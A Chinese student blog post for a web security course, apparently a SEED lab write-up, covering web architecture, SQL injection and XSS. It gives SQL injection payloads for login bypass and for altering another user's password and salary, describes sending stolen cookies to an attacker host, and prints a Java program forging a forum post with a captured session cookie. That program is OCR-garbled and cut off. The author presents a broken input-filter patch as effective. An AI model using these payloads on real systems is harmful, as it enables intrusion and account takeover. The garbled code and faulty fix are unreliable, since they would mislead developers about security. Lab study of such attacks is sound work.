20199313 2019-2020-2 《网络攻防实践》第十一周作业
本博客属于课程:《网络攻防实践》
本次作业:《第十一周作业》
我在这个课程的目标:掌握知识与技能,增强能力和本领,提高悟性和水平。
Web应用程序架构
Web应用程序是使用Internet浏览器执行某些功能的程序。它带有中间件和UI,它们连接客户端(用户在浏览器中看到和使用的内容),服务器(操作的后端)和数据库。虽然后端脚本保存数据,但前端会将数据传输给支持数据交换的消费者。
- Web系统又可以分为几个子系统
1)Web前端系统
2)负载均衡系统
3)数据库集群系统
4)缓存系统
5)分布式存储系统
6)分布式服务器管理系统
7)代码分发系统
Web前端系统
web前端就是前端网络编程,也被认为是用户端编程,是为了网页或者网页应用,而编写HTML,CSS以及JS代码,所以用户能够看到并且和这些页面进行交流。前端网络编程的挑战在于用于实现前端页面的工具以及技术变化得很快,所以工程师需要不断注意产业是如何发展的(例如ECMAScript 6)。设计网页的目的在于确保用户打开站点的时候,信息是以容易阅读并且相互关联的形式呈现的。随之带来的问题是,现在用户实用大量的设备来访问网页,这些设备具有不同的屏幕尺寸以及清晰度。所以设计者在设计网页的时候需要注意这些方面。他们需要确保他们的网页在不同的浏览器、不同的操作系统以及不同的设备上显示正确,这需要在工程师端进行仔细的计划。
负载均衡系统
负载均衡建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。负载均衡就是分摊到多个操作单元上进行执行,例如Web服务器、FTP服务器、企业关键应用服务器和其它关键任务服务器等,从而共同完成工作任务。
负载均衡系统分为硬件和软件两种。硬件负载均衡效率高,但是价格贵,比如F5等。软件负载均衡系统价格较低或者免费,效率较硬件负载均衡系统低,不过对于流量一般或稍大些网站来讲也足够使用,比如lvs, nginx。大多数网站都是硬件、软件负载均衡系统并用。
数据库集群系统
由于Web前端采用了负载均衡集群结构提高了服务的有效性和扩展性,因此数据库必须也是高可靠的,才能保证整个服务体系的高可靠性,如何构建一个高可靠的、可以提供大规模并发处理的数据库体系?
我们可以采用如上图所示的方案:
1) 使用 MySQL 数据库,考虑到Web应用的数据库读多写少的特点,我们主要对读数据库做了优化,提供专用的读数据库和写数据库,在应用程序中实现读操作和写操作分别访问不同的数据库。
2) 使用 MySQL Replication 机制实现快速将主库(写库)的数据库复制到从库(读库)。一个主库对应多个从库,主库数据实时同步到从库。
3) 写数据库有多台,每台都可以提供多个应用共同使用,这样可以解决写库的性能瓶颈问题和单点故障问题。
4) 读数据库有多台,通过负载均衡设备实现负载均衡,从而达到读数据库的高性能、高可靠和高可扩展性。
5) 数据库服务器和应用服务器分离。
6) 从数据库使用BigIP做负载均衡。
缓冲系统
缓存分为文件缓存、内存缓存、数据库缓存。在大型Web应用中使用最多且效率最高的是内存缓存。最常用的内存缓存工具是Memcached。使用正确的缓存系统可以达到实现以下目标:
1、使用缓存系统可以提高访问效率,提高服务器吞吐能力,改善用户体验。
2、减轻对数据库及存储集服务器的访问压力。
3、Memcached服务器有多台,避免单点故障,提供高可靠性和可扩展性,提高性能。
分布式储存系统
Web系统平台中的存储需求有下面两个特点:
1) 存储量很大,经常会达到单台服务器无法提供的规模,比如相册、视频等应用。因此需要专业的大规模存储系统。
2) 负载均衡cluster中的每个节点都有可能访问任何一个数据对象,每个节点对数据的处理也能被其他节点共享,因此这些节点要操作的数据从逻辑上看只能是一个整体,不是各自独立的数据资源。
因此高性能的分布式存储系统对于大型网站应用来说是非常重要的一环。
分布式服务器管理系统
随着网站访问流量的不断增加,大多的网络服务都是以负载均衡集群的方式对外提供服务,随之集群规模的扩大,原来基于单机的服务器管理模式已经不能够满足我们的需求,新的需求必须能够集中式的、分组的、批量的、自动化的对服务器进行管理,能够批量化的执行计划任务。
在分布式服务器管理系统软件中有一些比较优秀的软件,其中比较理想的一个是Cfengine。它可以对服务器进行分组,不同的分组可以分别定制系统配置文件、计划任务等配置。它是基于C/S 结构的,所有的服务器配置和管理脚本程序都保存在Cfengine Server上,而被管理的服务器运行着 Cfengine Client 程序,Cfengine Client通过SSL加密的连接定期的向服务器端发送请求以获取最新的配置文件和管理命令、脚本程序、补丁安装等任务。
有了Cfengine这种集中式的服务器管理工具,我们就可以高效的实现大规模的服务器集群管理,被管理服务器和 Cfengine Server 可以分布在任何位置,只要网络可以连通就能实现快速自动化的管理。
代码分发系统
随着网站访问流量的不断增加,大多的网络服务都是以负载均衡集群的方式对外提供服务,随之集群规模的扩大,为了满足集群环境下程序代码的批量分发和更新,我们还需要一个程序代码发布系统。
这个发布系统可以帮我们实现下面的目标:
1) 生产环境的服务器以虚拟主机方式提供服务,不需要开发人员介入维护和直接操作,提供发布系统可以实现不需要登陆服务器就能把程序分发到目标服务器。
2) 我们要实现内部开发、内部测试、生产环境测试、生产环境发布的4个开发阶段的管理,发布系统可以介入各个阶段的代码发布。
3) 我们需要实现源代码管理和版本控制,SVN可以实现该需求。
这里面可以使用常用的工具Rsync,通过开发相应的脚本工具实现服务器集群间代码同步分发。
SQL注入
SQL注入:利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,这是SQL注入的标准释义。
随着B/S模式被广泛的应用,用这种模式编写应用程序的程序员也越来越多,但由于开发人员的水平和经验参差不齐,相当一部分的开发人员在编写代码的时候,没有对用户的输入数据或者是页面中所携带的信息(如Cookie)进行必要的合法性判断,导致了攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得一些他想得到的数据。
SQL注入利用的是正常的HTTP服务端口,表面上看来和正常的web访问没有区别,隐蔽性极强,不易被发现。
SQL注入攻击
- SQL注入攻击过程分为五个步骤:
1、判断Web环境是否可以SQL注入。如果URL仅是对网页的访问,不存在SQL注入问题,就是普通的网页访问。只有对数据库进行动态查询的业务才可能存在SQL注入,这种语句会在数据库中执行,因此可能会给数据库带来威胁。
2、寻找SQL注入点。完成上一步的片断后,就要寻找可利用的注入漏洞,通过输入一些特殊语句,可以根据浏览器返回信息,判断数据库类型,从而构建数据库查询语句找到注入点。
3、猜解用户名和密码。数据库中存放的表名、字段名都是有规律可言的。通过构建特殊数据库语句在数据库中依次查找表名、字段名、用户名和密码的长度,以及内容。这个猜测过程可以通过网上大量注入工具快速实现,并借助破解网站轻易破译用户密码。
4、寻找WEB管理后台入口。通常WEB后台管理的界面不面向普通用户开放,要寻找到后台的登陆路径,可以利用扫描工具快速搜索到可能的登陆地址,依次进行尝试,就可以试出管理台的入口地址。
5、入侵和破坏。成功登陆后台管理后,接下来就可以任意进行破坏行为,如篡改网页、上传木马、修改、泄漏用户信息等,并进一步入侵数据库服务器。
-
QL注入攻击的特点:
变种极多,有经验的攻击者会手动调整攻击参数,致使攻击数据的变种是不可枚举的,这导致传统的特征匹配检测方法仅能识别相当少的攻击,难以防范。
攻击过程简单,目前互联网上流行众多的SQL注入攻击工具,攻击者借助这些工具可很快对目标WEB系统实施攻击和破坏。
危害大,由于WEB编程语言自身的缺陷以及具有安全编程能力的开发人员少之又少,大多数WEB业务系统均具有被SQL注入攻击的可能。而攻击者一旦攻击成功,可以对控制整个WEB业务系统,对数据做任意的修改,破坏力达到及至。 -
SQL注入的危害和现状
SQL注入的主要危害包括:
1、未经授权状况下操作数据库中的数据
2、恶意篡改网页内容
3、私自添加系统帐号或者是数据库使用者帐号
4、网页挂木马
实践作业
登录Sql注入
进入SeedUbantu为我们搭建好的web服务器登陆页面,在前端的登录账号和密码只有和后端的数据库中的用户表的信息匹配才可以成功登录。
那么我们需要做什么呢?很显然,进到数据库里看看自己的账户密码是什么(如果你是数据库管理员)Or,如果你是非授权用户,那么你可以尝试一下SQL注入(攻下它)。
页面上使用组合键Ctrl+u转到源代码,我们先看到这个登陆页面的源代码,简洁易懂的Html语言编写成的登陆页面,我们的登录信息将会以Get的方式提交至unsafe_home.php(这是一个php语言写成的服务器,等同于java编写的Severlet Service服务器的功能),我们找到这个服务器的源代码,位于:/var/www/SQLInjection/unsafe_home.php,使用vim编辑器打开就可以看到服务器源代码。
源代码中针对Sql数据库的操作语句是:SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='$input_name'and Password='$hashen_pwd'
这个Sql数据库操作语句的意思是在一个名为credential的表中查询表单项name为($input_name所传递的参数的值,$ 符号表示这是一个变量)和Password($hashen_pwd所传递的参数的值),并输出与之相匹配的表单行中的id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password这些项目的值
显然这是一个存在漏洞的Sql操作语句,PHP代码中的字符串类型的数据需要用单引号(')引起来。比如上面的任务中username='$username',单引号用于把$username从代码中区分出来。不幸的是如果$username中含有单引号,这个区分将被打破。我们需要一个机制告诉数据库$username中的单引号应该被当做数据,而不是SQL语句的特殊字符。为此我们只需要在单引号前加一个反斜杠()这个代码就可以。依据这两个原理,我们就可以完成在登录过程中通过在登陆表格中输入精心准备的代码来完成Sql注入的攻击。
利用这一点,我们在username中输入admin' #
,这样这个数据库操作指令就变成了:
SELECT id,name,eid,salary,birth,ssn,phoneNumber,address,email,nickname,Password FROM credential WHERE name='admin' #'and Password='$hashen_pwd'
#
符号后面的内容都会被当作注释处理,因此这段Sql指令完成的操作是搜索name为admin的表单信息,完成了不需要输入密码即可登录的目的。如下图所示,我们已经成功黑进了系统(还是一个有管理员权限的账户)
对Update功能Sql注入
这里我们随便来登录一个其他的账户(模拟自己是一个普通账户,如何在不知道他人账户的前提下通过Sql注入来修改他人账户的过程,或者修改表单中不让修改的内容),点击Edit Profile进入修改个人信息功能,同样Ctrl+u来看到页面源代码如下:
我们在源代码中可以看到我们输入的信息都被提交到了unsafe_edit_backend.php这个Severlet Service中,同样我们找到这个源代码文件并打开它
这里看到了针对UPDTE的SQL语句,通过查询修改动作的用户在数据库内的id(这个id)来定位用户在表单中的位置,然后直接更新所有输入信息(这里作者还判断了一下密码项是否为空,防止空密码的出现)。
很显然我们目前并不知道我们要查找的用户的id在数据库中是多少(这个id和用管理员账户登录所显示的id并非同一个),那么我们要做的就是修改这个SQL语句,最简单的做法就是不通过id查询,我的做法是在输入密码那个表单中输入如下语句 123456', salary='2333' where name='Boby';#
这里等于修改了Boby的密码,甚至还修改了表单中不允许修改的工资,调整为2333(嘲笑脸),由于我们不知道任何一个用户在数据库中的id,故而这里直接用name进行搜索,通过这样的方法,我们可以做到任何Sql数据库指令,只要我们想。
我们甚至可以修改自己的任何信息,只要在刚刚的指令123456', salary='2333' where name='Boby';#中添加任何想要添加的字段,就可以修改它。
SQL漏洞修补
这里利用了Sql语句对单引号'
的处理问题,这里最简单的操作就是阻止用户输入非法字符,
$str="<,>/?~`!@#%^&*()+|='"; #定义你认为是特殊字符的字符
#falg=similar_text($input_nickname,$str);
if(flag>0) #表明$name中有你定义的特殊字符
{echo "你输入有特殊字符";
$conn->query($sql);
$conn->close();
header("Location:unsafe_home.php");
exit();
}
可以看到,我们成功将攻击者堵在这里了,如果输入了特殊字符将未能修改任何数据,直接返回个人信息页面
这里我们仅以nickname的输入项为例,如果对每一次Sql语句的输入项都进行检查,就可以有效防止Sql注入
另外,由于修改了Servlet Service,这里需要对修改内容进行重新读取,需要在控制台使用命令:sudo Service apache2 restart来重新加载
XSS攻击实验
在本次实验中,我们创建了一个具有XSS注入漏洞的phpBB版本。我们希望学生可以通过生动地实践更深刻的理解XSS的注入原理和方式,并在今后的工作中加强防御的意识和措施。
登录账户:alice 密码:seedalice
漏洞测试和Cookie获取
登录成功后,在edit profile中的个人简介(brief description)中加上一段javascript语句,这段语句的意思很简单就是弹出一个警告窗口,由于这段代码在brief description中,所以每次打开alice的个人简介页面都会弹出(很不巧个人简介就在主页上,所以访问alice的主页就会弹出)
这样做的目的就是告诉初学者,在主页上我们可以嵌入javascript代码,这里很容易有脚本攻击或病毒之类的攻击代码。
同理,我们也可以让访问者显示本机Cookie,代码如下:
但是我们要做的是将这段Cookie发送到攻击机,这里就要用一段不同的代码来实现:
每当有主机访问Alice主页都会将其id发送到192.168.0.109:9999的攻击机上,攻击机可以借助netcat工具,对9999端口进行TCP详细监听,就可以得到如下图所示的信息。
利用Cookie仿冒靶机
这里需要用到LiveHTTPHeaders这个插件,如果在ubuntu下的火狐浏览器,默认拒绝安装
解决方法:
在地址栏输入about:config进入火狐的软件拦截设置,查询xpinstall.signatures.required,双击将其设置为true,这样就可以成功下载安装LiveHTTPHeaders插件了。
或者更方便的可以直接安装一个有签名的插件名为:HTTP Header Live,这个可以直接添加,而且免费。
当我们发blog时,捕获了和服务器通信的报文头,如图所示,会显示我们的用户cookie,我们仔细检查甚至可以看到我们发出的blog都是明文传输的,这样我们就可以仿照这个报文向服务器发帖,并且修改用户Cookie达到冒充他人发帖的效果。
发贴的java代码如下
import java.io.*;
import java.net.
public class HTTPSimpleForge (
public static void main(String[] args) throws lOException {
try (
int responsecode;
Inputstream responseln=null;
URL url = new URL ("http://www.xsslabphpbb.com/posting.
php・); // URL to be forged.
URLConnection urlConn = url.openconnection();
if (urlConn instanceof H11pURLConnection)(
urlConn.setConnectTimeout(60000);
urlConn.setReadTimeout(90000);
)
/ /addReque st Property method is used to add HTTP Header Information,
urIConn.addRequestProperty("User-Agent","Mozilla/5.0 (Xll; U; Linux
i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty)
Firefox/3.0.8");
urlConn.addRequestProperty("Accept", "text/html,application/xhtml+
xml,application/xml;q=0.9,*/*;q=0.8”);
urlConn.addRequestProperty("Accept-Language", "en-us,en;q=0.5");
urlConn.addRequestProperty("Accept-Encoding", "gzip,deflate");
urlConn.addRequestProperty("Accept-Charset", "ISO-8859-1rutf-8;q=
0.7, *;q=0.7");
urlConn.addRequestProperty("Keep-Alive", "300");
urlConn.addRequestProperty("Connection", "keep-alive");
urlConn.addRequestProperty("Referer", "http://www.xsslabphpbb.
com/post ing.php?mode=edi tpost&p=7");
urlConn. addRequest Property(HCookie",
-phpbb2mysql_t=a%3A32%3A%7Bi%3A7%3Bi%3A1283172181%3Bi%3A8%3Bi%3A1283172
281%3Bi%3A9%3Bi%3A1283172408%3Bi%3A10%3Bi%3A1283172387%3Bi%3All%3Bi%3Al
283172362%3Bi%3A12%3Bi%3A1283172356%3Bi%3A13%3Bi%3A1283172289%3Bi%3A14%
3Bi%3A1283172351%3Bi%3A15%3Bi%3A1283172323%3Bi%3A16%3Bi%3A1283172317%3B
i%3A17%3Bi%3A1283172260%3Bi%3A18%3Bi%3A1283172249%3Bi%3A19%3Bi%3A128317
2238%3Bi%3A20%3Bi%3A1283172194%3Bi%3A21%3Bi%3A1283172093%3Bi%3A22%3Bi%3
A1283172086%3Bi%3A23%3Bi%3A1283172074%3Bi%3A24%3Bi%3A1283172067%3Bi%3A2
5%3Bi%3A1283172059%3Bi%3A26%3Bi%3A1283172081%3Bi%3A27%3Bi%3A1283172231%
3Bi%3A28%3Bi%3A1283172244%3Bi%3A29%3Bi%3A1283172255%3Bi%3A30%3Bi%3A1283
172308%3Bi%3A31%3Bi%3A1283172296%3Bi%3A32%3Bi%3A1283172302%3Bi%3A6%3Bi%
3A1283172376%3Bi%3A5%3Bi%3A1283172413%3Bi%3A33%3Bi%3A1283172716%3Bi%3A3
4%3Bi%3A1283173189%3Bi%3A35%3Bi%3A1283174324%3Bi%3A36%3Bi%3A1283226239%
3B%7D;
phpbb2mysql_data=a%3A2%3A%7Bs%3All%3A%22autologinid%22%3Bs%3A0%3A%22%22
%3Bs%3A6%3A%22userid%22%3Bs%3Al%3A%226%22%3B%7D;
Phpbb2mysql_sid=6d47ed39784d300851ba04295e406770");
urlConn.addRequestProperty("Content-Type',"application/x- www-
form-urlencoded");
//HTTP Post Data which includes the information to be sent to the
server.